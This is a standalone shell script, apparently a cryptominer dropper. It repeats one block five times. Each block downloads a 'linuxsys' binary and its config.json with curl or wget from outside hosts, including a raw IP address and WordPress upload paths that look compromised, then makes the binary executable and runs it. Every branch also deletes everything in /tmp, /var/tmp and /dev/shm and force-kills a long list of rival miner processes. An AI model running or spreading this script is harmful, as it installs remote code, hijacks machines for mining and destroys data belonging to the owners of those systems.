#!/bin/sh


p=$(ps aux | grep -E 'linuxsys|jailshell' | grep -v grep | wc -l)
if [ ${p} -eq 1 ];then
    echo "Aya keneh proses. Tong waka nya!"
    # Kill All Process & Remove Files
    rm -rf /dev/shm/*; rm -rf /dev/shm/.*; rm -rf /tmp/*; rm -rf /tmp/.*; rm -rf /var/tmp/*; rm -rf /var/tmp/.*; rm -rf ~/config.json; rm -rf ~/linuxsys; rm -rf ./config.json; rm -rf ./linuxsys; rm -rf linuxsh; rm -rf linux.sh; rm -rf cronsh; rm -rf killersh; ps -ef | grep -v grep | grep -E 'pk|kp.sh|xmrig_freebsd|xmrig_arm64|rfmx|remove.sh|remove_bg.sh|recon.sh|processlib2.so|rbmx|lr_linux|lr_focal|lr_bionic|hostctld|backup.sh|db.exe|agent_linux|Y3Eh|pmqE|igx1|HQdI|CMiz|sysguard|trace|JavaUpdate|javaupDates|givemexyz|ipv6_addrconfd|kworkerr|klibsystem4|kthreaddw|xmr|supportxmr|dbused|runsv puma|vscode|kkssl|Linux2|khnug|juiceSSH|xmp|miner|gitlabw|rotate|rotate_cn_rt|rotate_low|logrotate|apached|netns|net|.XTZRfi85|sleep|xxx|ksoftriqd|18.130.193.222|185.122.204.197|DMS|VIDMS|cms|clamd|PTS|PCPS|c3pool|screen|watchkid|wotchdog|watchhound|sleep|./zhudaj|./zyj24000|./zhuda|./LSHT|zhudaj|zyj24000|zhuda|LSHT|clinche|./WTF|confssh|bashirc|mysqldd|rodolf.sh|rodolf|sshexec|cnrig|attack|dovecat|javae|donate|scan\.log|xmr-stak|crond64|yespowersugar|/tmp/java|pastebin|/tmp/\.|/tmp/system|excludefile|agettyd|\./python|\./crun|\./\.|118/cf\.sh|/tmp/.UNIFI/.unifi.sh|\.6379|load\.sh|init\.sh|solr\.sh|\.rsyslogds|pnscan|masscan|kthreaddi|solrd|meminitsrv|networkservice|sysupdate|phpguard|phpupdate|networkmanager|knthread|mysqlserver|watchbog|zgrab|/dev/shm|/var/tmp|/tmp/*|/var/tmp/*|kik|hezb|kinsing|kdevtmpfsi|stratum|.zshrc|lb64|ld-linux-x86-64|iosk|205.147.101|/bin/sh ./*|./syslogd|./rcu|klogd|xmrig|/tmp/c3pool/xmrig|sysls|logo|logrunner|english|kthreaddk|./dir|./x|./clinche|./amd64|server.js|acpid|/tmp/.*|kthreaddo' | awk '{print $2}' | xargs -i kill -9 {} >/dev/null 2>&1

    exit
elif [ ${p} -eq 0 ];then
    echo "Sok bae ngalangkung weh!"
    # Execute linuxsys
    cd ./; curl -s https://easystudiosites.com/css/config.json  -o config.json || wget -q -O config.json https://easystudiosites.com/css/config.json ; curl -s https://easystudiosites.com/css/linuxsys -o linuxsys || wget -q -O linuxsys https://easystudiosites.com/css/linuxsys; chmod +x linuxsys; ./linuxsys
    # Kill All Process & Remove Files
    rm -rf /dev/shm/*; rm -rf /dev/shm/.*; rm -rf /tmp/*; rm -rf /tmp/.*; rm -rf /var/tmp/*; rm -rf /var/tmp/.*; rm -rf ~/config.json; rm -rf ~/linuxsys; rm -rf ./config.json; rm -rf ./linuxsys; rm -rf linuxsh; rm -rf linux.sh; rm -rf cronsh; rm -rf killersh; ps -ef | grep -v grep | grep -E 'pk|kp.sh|xmrig_freebsd|xmrig_arm64|rfmx|remove.sh|remove_bg.sh|recon.sh|processlib2.so|rbmx|lr_linux|lr_focal|lr_bionic|hostctld|backup.sh|db.exe|agent_linux|Y3Eh|pmqE|igx1|HQdI|CMiz|sysguard|trace|JavaUpdate|javaupDates|givemexyz|ipv6_addrconfd|kworkerr|klibsystem4|kthreaddw|xmr|supportxmr|dbused|runsv puma|vscode|kkssl|Linux2|khnug|juiceSSH|xmp|miner|gitlabw|rotate|rotate_cn_rt|rotate_low|logrotate|apached|netns|net|.XTZRfi85|sleep|xxx|ksoftriqd|18.130.193.222|185.122.204.197|DMS|VIDMS|cms|clamd|PTS|PCPS|c3pool|screen|watchkid|wotchdog|watchhound|sleep|./zhudaj|./zyj24000|./zhuda|./LSHT|zhudaj|zyj24000|zhuda|LSHT|clinche|./WTF|confssh|bashirc|mysqldd|rodolf.sh|rodolf|sshexec|cnrig|attack|dovecat|javae|donate|scan\.log|xmr-stak|crond64|yespowersugar|/tmp/java|pastebin|/tmp/\.|/tmp/system|excludefile|agettyd|\./python|\./crun|\./\.|118/cf\.sh|/tmp/.UNIFI/.unifi.sh|\.6379|load\.sh|init\.sh|solr\.sh|\.rsyslogds|pnscan|masscan|kthreaddi|solrd|meminitsrv|networkservice|sysupdate|phpguard|phpupdate|networkmanager|knthread|mysqlserver|watchbog|zgrab|/dev/shm|/var/tmp|/tmp/*|/var/tmp/*|kik|hezb|kinsing|kdevtmpfsi|stratum|.zshrc|lb64|ld-linux-x86-64|iosk|205.147.101|/bin/sh ./*|./syslogd|./rcu|klogd|xmrig|/tmp/c3pool/xmrig|sysls|logo|logrunner|english|kthreaddk|./dir|./x|./clinche|./amd64|server.js|acpid|/tmp/.*|kthreaddo' | awk '{print $2}' | xargs -i kill -9 {} >/dev/null 2>&1

fi

p=$(ps aux | grep -E 'linuxsys|jailshell' | grep -v grep | wc -l)
if [ ${p} -eq 1 ];then
    echo "Aya keneh proses. Tong waka nya!"
    # Kill All Process & Remove Files
    rm -rf /dev/shm/*; rm -rf /dev/shm/.*; rm -rf /tmp/*; rm -rf /tmp/.*; rm -rf /var/tmp/*; rm -rf /var/tmp/.*; rm -rf ~/config.json; rm -rf ~/linuxsys; rm -rf ./config.json; rm -rf ./linuxsys; rm -rf linuxsh; rm -rf linux.sh; rm -rf cronsh; rm -rf killersh; ps -ef | grep -v grep | grep -E 'pk|kp.sh|xmrig_freebsd|xmrig_arm64|rfmx|remove.sh|remove_bg.sh|recon.sh|processlib2.so|rbmx|lr_linux|lr_focal|lr_bionic|hostctld|backup.sh|db.exe|agent_linux|Y3Eh|pmqE|igx1|HQdI|CMiz|sysguard|trace|JavaUpdate|javaupDates|givemexyz|ipv6_addrconfd|kworkerr|klibsystem4|kthreaddw|xmr|supportxmr|dbused|runsv puma|vscode|kkssl|Linux2|khnug|juiceSSH|xmp|miner|gitlabw|rotate|rotate_cn_rt|rotate_low|logrotate|apached|netns|net|.XTZRfi85|sleep|xxx|ksoftriqd|18.130.193.222|185.122.204.197|DMS|VIDMS|cms|clamd|PTS|PCPS|c3pool|screen|watchkid|wotchdog|watchhound|sleep|./zhudaj|./zyj24000|./zhuda|./LSHT|zhudaj|zyj24000|zhuda|LSHT|clinche|./WTF|confssh|bashirc|mysqldd|rodolf.sh|rodolf|sshexec|cnrig|attack|dovecat|javae|donate|scan\.log|xmr-stak|crond64|yespowersugar|/tmp/java|pastebin|/tmp/\.|/tmp/system|excludefile|agettyd|\./python|\./crun|\./\.|118/cf\.sh|/tmp/.UNIFI/.unifi.sh|\.6379|load\.sh|init\.sh|solr\.sh|\.rsyslogds|pnscan|masscan|kthreaddi|solrd|meminitsrv|networkservice|sysupdate|phpguard|phpupdate|networkmanager|knthread|mysqlserver|watchbog|zgrab|/dev/shm|/var/tmp|/tmp/*|/var/tmp/*|kik|hezb|kinsing|kdevtmpfsi|stratum|.zshrc|lb64|ld-linux-x86-64|iosk|205.147.101|/bin/sh ./*|./syslogd|./rcu|klogd|xmrig|/tmp/c3pool/xmrig|sysls|logo|logrunner|english|kthreaddk|./dir|./x|./clinche|./amd64|server.js|acpid|/tmp/.*|kthreaddo' | awk '{print $2}' | xargs -i kill -9 {} >/dev/null 2>&1

    exit
elif [ ${p} -eq 0 ];then
    echo "Sok bae ngalangkung weh!"
    # Execute linuxsys
    cd /dev/shm; curl -s http://188.166.244.81/css/config.json -o config.json || wget -q -O config.json http://188.166.244.81/css/config.json; curl -s http://188.166.244.81/css/linuxsys -o linuxsys || wget -q -O linuxsys http://188.166.244.81/css/linuxsys; chmod +x linuxsys; ./linuxsys
    # Kill All Process & Remove Files
    rm -rf /dev/shm/*; rm -rf /dev/shm/.*; rm -rf /tmp/*; rm -rf /tmp/.*; rm -rf /var/tmp/*; rm -rf /var/tmp/.*; rm -rf ~/config.json; rm -rf ~/linuxsys; rm -rf ./config.json; rm -rf ./linuxsys; rm -rf linuxsh; rm -rf linux.sh; rm -rf cronsh; rm -rf killersh; ps -ef | grep -v grep | grep -E 'pk|kp.sh|xmrig_freebsd|xmrig_arm64|rfmx|remove.sh|remove_bg.sh|recon.sh|processlib2.so|rbmx|lr_linux|lr_focal|lr_bionic|hostctld|backup.sh|db.exe|agent_linux|Y3Eh|pmqE|igx1|HQdI|CMiz|sysguard|trace|JavaUpdate|javaupDates|givemexyz|ipv6_addrconfd|kworkerr|klibsystem4|kthreaddw|xmr|supportxmr|dbused|runsv puma|vscode|kkssl|Linux2|khnug|juiceSSH|xmp|miner|gitlabw|rotate|rotate_cn_rt|rotate_low|logrotate|apached|netns|net|.XTZRfi85|sleep|xxx|ksoftriqd|18.130.193.222|185.122.204.197|DMS|VIDMS|cms|clamd|PTS|PCPS|c3pool|screen|watchkid|wotchdog|watchhound|sleep|./zhudaj|./zyj24000|./zhuda|./LSHT|zhudaj|zyj24000|zhuda|LSHT|clinche|./WTF|confssh|bashirc|mysqldd|rodolf.sh|rodolf|sshexec|cnrig|attack|dovecat|javae|donate|scan\.log|xmr-stak|crond64|yespowersugar|/tmp/java|pastebin|/tmp/\.|/tmp/system|excludefile|agettyd|\./python|\./crun|\./\.|118/cf\.sh|/tmp/.UNIFI/.unifi.sh|\.6379|load\.sh|init\.sh|solr\.sh|\.rsyslogds|pnscan|masscan|kthreaddi|solrd|meminitsrv|networkservice|sysupdate|phpguard|phpupdate|networkmanager|knthread|mysqlserver|watchbog|zgrab|/dev/shm|/var/tmp|/tmp/*|/var/tmp/*|kik|hezb|kinsing|kdevtmpfsi|stratum|.zshrc|lb64|ld-linux-x86-64|iosk|205.147.101|/bin/sh ./*|./syslogd|./rcu|klogd|xmrig|/tmp/c3pool/xmrig|sysls|logo|logrunner|english|kthreaddk|./dir|./x|./clinche|./amd64|server.js|acpid|/tmp/.*|kthreaddo' | awk '{print $2}' | xargs -i kill -9 {} >/dev/null 2>&1

fi

p=$(ps aux | grep -E 'linuxsys|jailshell' | grep -v grep | wc -l)
if [ ${p} -eq 1 ];then
    echo "Aya keneh proses. Tong waka nya!"
    # Kill All Process & Remove Files
    rm -rf /dev/shm/*; rm -rf /dev/shm/.*; rm -rf /tmp/*; rm -rf /tmp/.*; rm -rf /var/tmp/*; rm -rf /var/tmp/.*; rm -rf ~/config.json; rm -rf ~/linuxsys; rm -rf ./config.json; rm -rf ./linuxsys; rm -rf linuxsh; rm -rf linux.sh; rm -rf cronsh; rm -rf killersh; ps -ef | grep -v grep | grep -E 'pk|kp.sh|xmrig_freebsd|xmrig_arm64|rfmx|remove.sh|remove_bg.sh|recon.sh|processlib2.so|rbmx|lr_linux|lr_focal|lr_bionic|hostctld|backup.sh|db.exe|agent_linux|Y3Eh|pmqE|igx1|HQdI|CMiz|sysguard|trace|JavaUpdate|javaupDates|givemexyz|ipv6_addrconfd|kworkerr|klibsystem4|kthreaddw|xmr|supportxmr|dbused|runsv puma|vscode|kkssl|Linux2|khnug|juiceSSH|xmp|miner|gitlabw|rotate|rotate_cn_rt|rotate_low|logrotate|apached|netns|net|.XTZRfi85|sleep|xxx|ksoftriqd|18.130.193.222|185.122.204.197|DMS|VIDMS|cms|clamd|PTS|PCPS|c3pool|screen|watchkid|wotchdog|watchhound|sleep|./zhudaj|./zyj24000|./zhuda|./LSHT|zhudaj|zyj24000|zhuda|LSHT|clinche|./WTF|confssh|bashirc|mysqldd|rodolf.sh|rodolf|sshexec|cnrig|attack|dovecat|javae|donate|scan\.log|xmr-stak|crond64|yespowersugar|/tmp/java|pastebin|/tmp/\.|/tmp/system|excludefile|agettyd|\./python|\./crun|\./\.|118/cf\.sh|/tmp/.UNIFI/.unifi.sh|\.6379|load\.sh|init\.sh|solr\.sh|\.rsyslogds|pnscan|masscan|kthreaddi|solrd|meminitsrv|networkservice|sysupdate|phpguard|phpupdate|networkmanager|knthread|mysqlserver|watchbog|zgrab|/dev/shm|/var/tmp|/tmp/*|/var/tmp/*|kik|hezb|kinsing|kdevtmpfsi|stratum|.zshrc|lb64|ld-linux-x86-64|iosk|205.147.101|/bin/sh ./*|./syslogd|./rcu|klogd|xmrig|/tmp/c3pool/xmrig|sysls|logo|logrunner|english|kthreaddk|./dir|./x|./clinche|./amd64|server.js|acpid|/tmp/.*|kthreaddo' | awk '{print $2}' | xargs -i kill -9 {} >/dev/null 2>&1

    exit
elif [ ${p} -eq 0 ];then
    echo "Sok bae ngalangkung weh!"
    # Execute linuxsys
    cd /var/tmp; curl -s http://188.166.244.81/css/config.json -o config.json || wget -q -O config.json http://188.166.244.81/css/config.json; curl -s http://188.166.244.81/css/linuxsys -o linuxsys || wget -q -O linuxsys http://188.166.244.81/css/linuxsys; chmod +x linuxsys; ./linuxsys
    # Kill All Process & Remove Files
    rm -rf /dev/shm/*; rm -rf /dev/shm/.*; rm -rf /tmp/*; rm -rf /tmp/.*; rm -rf /var/tmp/*; rm -rf /var/tmp/.*; rm -rf ~/config.json; rm -rf ~/linuxsys; rm -rf ./config.json; rm -rf ./linuxsys; rm -rf linuxsh; rm -rf linux.sh; rm -rf cronsh; rm -rf killersh; ps -ef | grep -v grep | grep -E 'pk|kp.sh|xmrig_freebsd|xmrig_arm64|rfmx|remove.sh|remove_bg.sh|recon.sh|processlib2.so|rbmx|lr_linux|lr_focal|lr_bionic|hostctld|backup.sh|db.exe|agent_linux|Y3Eh|pmqE|igx1|HQdI|CMiz|sysguard|trace|JavaUpdate|javaupDates|givemexyz|ipv6_addrconfd|kworkerr|klibsystem4|kthreaddw|xmr|supportxmr|dbused|runsv puma|vscode|kkssl|Linux2|khnug|juiceSSH|xmp|miner|gitlabw|rotate|rotate_cn_rt|rotate_low|logrotate|apached|netns|net|.XTZRfi85|sleep|xxx|ksoftriqd|18.130.193.222|185.122.204.197|DMS|VIDMS|cms|clamd|PTS|PCPS|c3pool|screen|watchkid|wotchdog|watchhound|sleep|./zhudaj|./zyj24000|./zhuda|./LSHT|zhudaj|zyj24000|zhuda|LSHT|clinche|./WTF|confssh|bashirc|mysqldd|rodolf.sh|rodolf|sshexec|cnrig|attack|dovecat|javae|donate|scan\.log|xmr-stak|crond64|yespowersugar|/tmp/java|pastebin|/tmp/\.|/tmp/system|excludefile|agettyd|\./python|\./crun|\./\.|118/cf\.sh|/tmp/.UNIFI/.unifi.sh|\.6379|load\.sh|init\.sh|solr\.sh|\.rsyslogds|pnscan|masscan|kthreaddi|solrd|meminitsrv|networkservice|sysupdate|phpguard|phpupdate|networkmanager|knthread|mysqlserver|watchbog|zgrab|/dev/shm|/var/tmp|/tmp/*|/var/tmp/*|kik|hezb|kinsing|kdevtmpfsi|stratum|.zshrc|lb64|ld-linux-x86-64|iosk|205.147.101|/bin/sh ./*|./syslogd|./rcu|klogd|xmrig|/tmp/c3pool/xmrig|sysls|logo|logrunner|english|kthreaddk|./dir|./x|./clinche|./amd64|server.js|acpid|/tmp/.*|kthreaddo' | awk '{print $2}' | xargs -i kill -9 {} >/dev/null 2>&1

fi

p=$(ps aux | grep -E 'linuxsys|jailshell' | grep -v grep | wc -l)
if [ ${p} -eq 1 ];then
    echo "Aya keneh proses. Tong waka nya!"
    # Kill All Process & Remove Files
    rm -rf /dev/shm/*; rm -rf /dev/shm/.*; rm -rf /tmp/*; rm -rf /tmp/.*; rm -rf /var/tmp/*; rm -rf /var/tmp/.*; rm -rf ~/config.json; rm -rf ~/linuxsys; rm -rf ./config.json; rm -rf ./linuxsys; rm -rf linuxsh; rm -rf linux.sh; rm -rf cronsh; rm -rf killersh; ps -ef | grep -v grep | grep -E 'pk|kp.sh|xmrig_freebsd|xmrig_arm64|rfmx|remove.sh|remove_bg.sh|recon.sh|processlib2.so|rbmx|lr_linux|lr_focal|lr_bionic|hostctld|backup.sh|db.exe|agent_linux|Y3Eh|pmqE|igx1|HQdI|CMiz|sysguard|trace|JavaUpdate|javaupDates|givemexyz|ipv6_addrconfd|kworkerr|klibsystem4|kthreaddw|xmr|supportxmr|dbused|runsv puma|vscode|kkssl|Linux2|khnug|juiceSSH|xmp|miner|gitlabw|rotate|rotate_cn_rt|rotate_low|logrotate|apached|netns|net|.XTZRfi85|sleep|xxx|ksoftriqd|18.130.193.222|185.122.204.197|DMS|VIDMS|cms|clamd|PTS|PCPS|c3pool|screen|watchkid|wotchdog|watchhound|sleep|./zhudaj|./zyj24000|./zhuda|./LSHT|zhudaj|zyj24000|zhuda|LSHT|clinche|./WTF|confssh|bashirc|mysqldd|rodolf.sh|rodolf|sshexec|cnrig|attack|dovecat|javae|donate|scan\.log|xmr-stak|crond64|yespowersugar|/tmp/java|pastebin|/tmp/\.|/tmp/system|excludefile|agettyd|\./python|\./crun|\./\.|118/cf\.sh|/tmp/.UNIFI/.unifi.sh|\.6379|load\.sh|init\.sh|solr\.sh|\.rsyslogds|pnscan|masscan|kthreaddi|solrd|meminitsrv|networkservice|sysupdate|phpguard|phpupdate|networkmanager|knthread|mysqlserver|watchbog|zgrab|/dev/shm|/var/tmp|/tmp/*|/var/tmp/*|kik|hezb|kinsing|kdevtmpfsi|stratum|.zshrc|lb64|ld-linux-x86-64|iosk|205.147.101|/bin/sh ./*|./syslogd|./rcu|klogd|xmrig|/tmp/c3pool/xmrig|sysls|logo|logrunner|english|kthreaddk|./dir|./x|./clinche|./amd64|server.js|acpid|/tmp/.*|kthreaddo' | awk '{print $2}' | xargs -i kill -9 {} >/dev/null 2>&1

    exit
elif [ ${p} -eq 0 ];then
    echo "Sok bae ngalangkung weh!"
    # Execute linuxsys
    cd /tmp; curl -s https://nbk-ukr.com/wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/config.json -o config.json || wget -q -O config.json https://nbk-ukr.com/wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/config.json; curl -s https://nbk-ukr.com/wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/linuxsys -o linuxsys || wget -q -O linuxsys https://nbk-ukr.com/wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/linuxsys; chmod +x linuxsys; ./linuxsys
    # Kill All Process & Remove Files
    rm -rf /dev/shm/*; rm -rf /dev/shm/.*; rm -rf /tmp/*; rm -rf /tmp/.*; rm -rf /var/tmp/*; rm -rf /var/tmp/.*; rm -rf ~/config.json; rm -rf ~/linuxsys; rm -rf ./config.json; rm -rf ./linuxsys; rm -rf linuxsh; rm -rf linux.sh; rm -rf cronsh; rm -rf killersh; ps -ef | grep -v grep | grep -E 'pk|kp.sh|xmrig_freebsd|xmrig_arm64|rfmx|remove.sh|remove_bg.sh|recon.sh|processlib2.so|rbmx|lr_linux|lr_focal|lr_bionic|hostctld|backup.sh|db.exe|agent_linux|Y3Eh|pmqE|igx1|HQdI|CMiz|sysguard|trace|JavaUpdate|javaupDates|givemexyz|ipv6_addrconfd|kworkerr|klibsystem4|kthreaddw|xmr|supportxmr|dbused|runsv puma|vscode|kkssl|Linux2|khnug|juiceSSH|xmp|miner|gitlabw|rotate|rotate_cn_rt|rotate_low|logrotate|apached|netns|net|.XTZRfi85|sleep|xxx|ksoftriqd|18.130.193.222|185.122.204.197|DMS|VIDMS|cms|clamd|PTS|PCPS|c3pool|screen|watchkid|wotchdog|watchhound|sleep|./zhudaj|./zyj24000|./zhuda|./LSHT|zhudaj|zyj24000|zhuda|LSHT|clinche|./WTF|confssh|bashirc|mysqldd|rodolf.sh|rodolf|sshexec|cnrig|attack|dovecat|javae|donate|scan\.log|xmr-stak|crond64|yespowersugar|/tmp/java|pastebin|/tmp/\.|/tmp/system|excludefile|agettyd|\./python|\./crun|\./\.|118/cf\.sh|/tmp/.UNIFI/.unifi.sh|\.6379|load\.sh|init\.sh|solr\.sh|\.rsyslogds|pnscan|masscan|kthreaddi|solrd|meminitsrv|networkservice|sysupdate|phpguard|phpupdate|networkmanager|knthread|mysqlserver|watchbog|zgrab|/dev/shm|/var/tmp|/tmp/*|/var/tmp/*|kik|hezb|kinsing|kdevtmpfsi|stratum|.zshrc|lb64|ld-linux-x86-64|iosk|205.147.101|/bin/sh ./*|./syslogd|./rcu|klogd|xmrig|/tmp/c3pool/xmrig|sysls|logo|logrunner|english|kthreaddk|./dir|./x|./clinche|./amd64|server.js|acpid|/tmp/.*|kthreaddo' | awk '{print $2}' | xargs -i kill -9 {} >/dev/null 2>&1

fi

p=$(ps aux | grep -E 'linuxsys|jailshell' | grep -v grep | wc -l)
if [ ${p} -eq 1 ];then
    echo "Aya keneh proses. Tong waka nya!"
    # Kill All Process & Remove Files
    rm -rf /dev/shm/*; rm -rf /dev/shm/.*; rm -rf /tmp/*; rm -rf /tmp/.*; rm -rf /var/tmp/*; rm -rf /var/tmp/.*; rm -rf ~/config.json; rm -rf ~/linuxsys; rm -rf ./config.json; rm -rf ./linuxsys; rm -rf linuxsh; rm -rf linux.sh; rm -rf cronsh; rm -rf killersh; ps -ef | grep -v grep | grep -E 'pk|kp.sh|xmrig_freebsd|xmrig_arm64|rfmx|remove.sh|remove_bg.sh|recon.sh|processlib2.so|rbmx|lr_linux|lr_focal|lr_bionic|hostctld|backup.sh|db.exe|agent_linux|Y3Eh|pmqE|igx1|HQdI|CMiz|sysguard|trace|JavaUpdate|javaupDates|givemexyz|ipv6_addrconfd|kworkerr|klibsystem4|kthreaddw|xmr|supportxmr|dbused|runsv puma|vscode|kkssl|Linux2|khnug|juiceSSH|xmp|miner|gitlabw|rotate|rotate_cn_rt|rotate_low|logrotate|apached|netns|net|.XTZRfi85|sleep|xxx|ksoftriqd|18.130.193.222|185.122.204.197|DMS|VIDMS|cms|clamd|PTS|PCPS|c3pool|screen|watchkid|wotchdog|watchhound|sleep|./zhudaj|./zyj24000|./zhuda|./LSHT|zhudaj|zyj24000|zhuda|LSHT|clinche|./WTF|confssh|bashirc|mysqldd|rodolf.sh|rodolf|sshexec|cnrig|attack|dovecat|javae|donate|scan\.log|xmr-stak|crond64|yespowersugar|/tmp/java|pastebin|/tmp/\.|/tmp/system|excludefile|agettyd|\./python|\./crun|\./\.|118/cf\.sh|/tmp/.UNIFI/.unifi.sh|\.6379|load\.sh|init\.sh|solr\.sh|\.rsyslogds|pnscan|masscan|kthreaddi|solrd|meminitsrv|networkservice|sysupdate|phpguard|phpupdate|networkmanager|knthread|mysqlserver|watchbog|zgrab|/dev/shm|/var/tmp|/tmp/*|/var/tmp/*|kik|hezb|kinsing|kdevtmpfsi|stratum|.zshrc|lb64|ld-linux-x86-64|iosk|205.147.101|/bin/sh ./*|./syslogd|./rcu|klogd|xmrig|/tmp/c3pool/xmrig|sysls|logo|logrunner|english|kthreaddk|./dir|./x|./clinche|./amd64|server.js|acpid|/tmp/.*|kthreaddo' | awk '{print $2}' | xargs -i kill -9 {} >/dev/null 2>&1

    exit
elif [ ${p} -eq 0 ];then
    echo "Sok bae ngalangkung weh!"
    # Execute linuxsys
    cd ~/; curl -s https://dodoma.shop/wp-content/uploads/2000/01/config.json || wget -q -O config.json https://dodoma.shop/wp-content/uploads/2000/01/config.json; curl -s https://dodoma.shop/wp-content/uploads/2000/01/linuxsys -o linuxsys || wget -q -O linuxsys https://dodoma.shop/wp-content/uploads/2000/01/linuxsys; chmod +x linuxsys; ./linuxsys
    # Kill All Process & Remove Files
    rm -rf /dev/shm/*; rm -rf /dev/shm/.*; rm -rf /tmp/*; rm -rf /tmp/.*; rm -rf /var/tmp/*; rm -rf /var/tmp/.*; rm -rf ~/config.json; rm -rf ~/linuxsys; rm -rf ./config.json; rm -rf ./linuxsys; rm -rf linuxsh; rm -rf linux.sh; rm -rf cronsh; rm -rf killersh; ps -ef | grep -v grep | grep -E 'pk|kp.sh|xmrig_freebsd|xmrig_arm64|rfmx|remove.sh|remove_bg.sh|recon.sh|processlib2.so|rbmx|lr_linux|lr_focal|lr_bionic|hostctld|backup.sh|db.exe|agent_linux|Y3Eh|pmqE|igx1|HQdI|CMiz|sysguard|trace|JavaUpdate|javaupDates|givemexyz|ipv6_addrconfd|kworkerr|klibsystem4|kthreaddw|xmr|supportxmr|dbused|runsv puma|vscode|kkssl|Linux2|khnug|juiceSSH|xmp|miner|gitlabw|rotate|rotate_cn_rt|rotate_low|logrotate|apached|netns|net|.XTZRfi85|sleep|xxx|ksoftriqd|18.130.193.222|185.122.204.197|DMS|VIDMS|cms|clamd|PTS|PCPS|c3pool|screen|watchkid|wotchdog|watchhound|sleep|./zhudaj|./zyj24000|./zhuda|./LSHT|zhudaj|zyj24000|zhuda|LSHT|clinche|./WTF|confssh|bashirc|mysqldd|rodolf.sh|rodolf|sshexec|cnrig|attack|dovecat|javae|donate|scan\.log|xmr-stak|crond64|yespowersugar|/tmp/java|pastebin|/tmp/\.|/tmp/system|excludefile|agettyd|\./python|\./crun|\./\.|118/cf\.sh|/tmp/.UNIFI/.unifi.sh|\.6379|load\.sh|init\.sh|solr\.sh|\.rsyslogds|pnscan|masscan|kthreaddi|solrd|meminitsrv|networkservice|sysupdate|phpguard|phpupdate|networkmanager|knthread|mysqlserver|watchbog|zgrab|/dev/shm|/var/tmp|/tmp/*|/var/tmp/*|kik|hezb|kinsing|kdevtmpfsi|stratum|.zshrc|lb64|ld-linux-x86-64|iosk|205.147.101|/bin/sh ./*|./syslogd|./rcu|klogd|xmrig|/tmp/c3pool/xmrig|sysls|logo|logrunner|english|kthreaddk|./dir|./x|./clinche|./amd64|server.js|acpid|/tmp/.*|kthreaddo' | awk '{print $2}' | xargs -i kill -9 {} >/dev/null 2>&1

fi